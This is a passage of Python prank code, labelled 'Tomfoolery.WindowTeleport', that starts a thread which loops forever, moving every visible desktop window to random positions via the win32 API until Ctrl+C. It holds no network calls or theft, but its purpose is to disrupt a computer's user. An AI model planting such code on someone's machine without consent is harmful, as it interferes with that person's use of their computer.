            self.TIMEOUT = config.getfloat("Tomfoolery.WindowTeleport", "TIMEOUT", fallback=1.0)

        # Teleport windows forever
        def __tp_windows_forever(self):
            while True:
                # Get all open windows
                windows = gw.getAllWindows()

                for window in windows:
                    # Only teleport visible windows
                    if window.visible:  # Use the correct attribute
                        # Generate random coordinates
                        random_x = random.randint(0, self.screen_width - 100)
                        random_y = random.randint(0, self.screen_height - 100)

                        # Move the window to the random location
                        try:
                            # noinspection PyProtectedMember
                            win32gui.SetWindowPos(
                                window._hWnd,  # Window handle
                                win32con.HWND_TOP,  # Top position
                                random_x,
                                random_y,
                                window.width,
                                window.height,
                                win32con.SWP_NOZORDER | win32con.SWP_NOSIZE
                            )
                        except Exception as e:
                            log.error(f"Failed to move window {window.title}: {e}")

                # Sleep for a short duration to avoid excessive CPU usage
                time.sleep(self.TIMEOUT)

        # Start the teleport thread
        def __thread_tp(self):
            teleport_thread = threading.Thread(target=self.__tp_windows_forever, daemon=USE_DAEMON)
            teleport_thread.start()

        def start(self):
            log.info("Starting the teleportation thread. Press Ctrl+C to stop.")
            self.__thread_tp()

            # Keep the main thread alive
            try:
                while True:
                    time.sleep(1)
            except KeyboardInterrupt:
                log.info("Exiting...")

# ---------------------------- Main Code --------------------------- #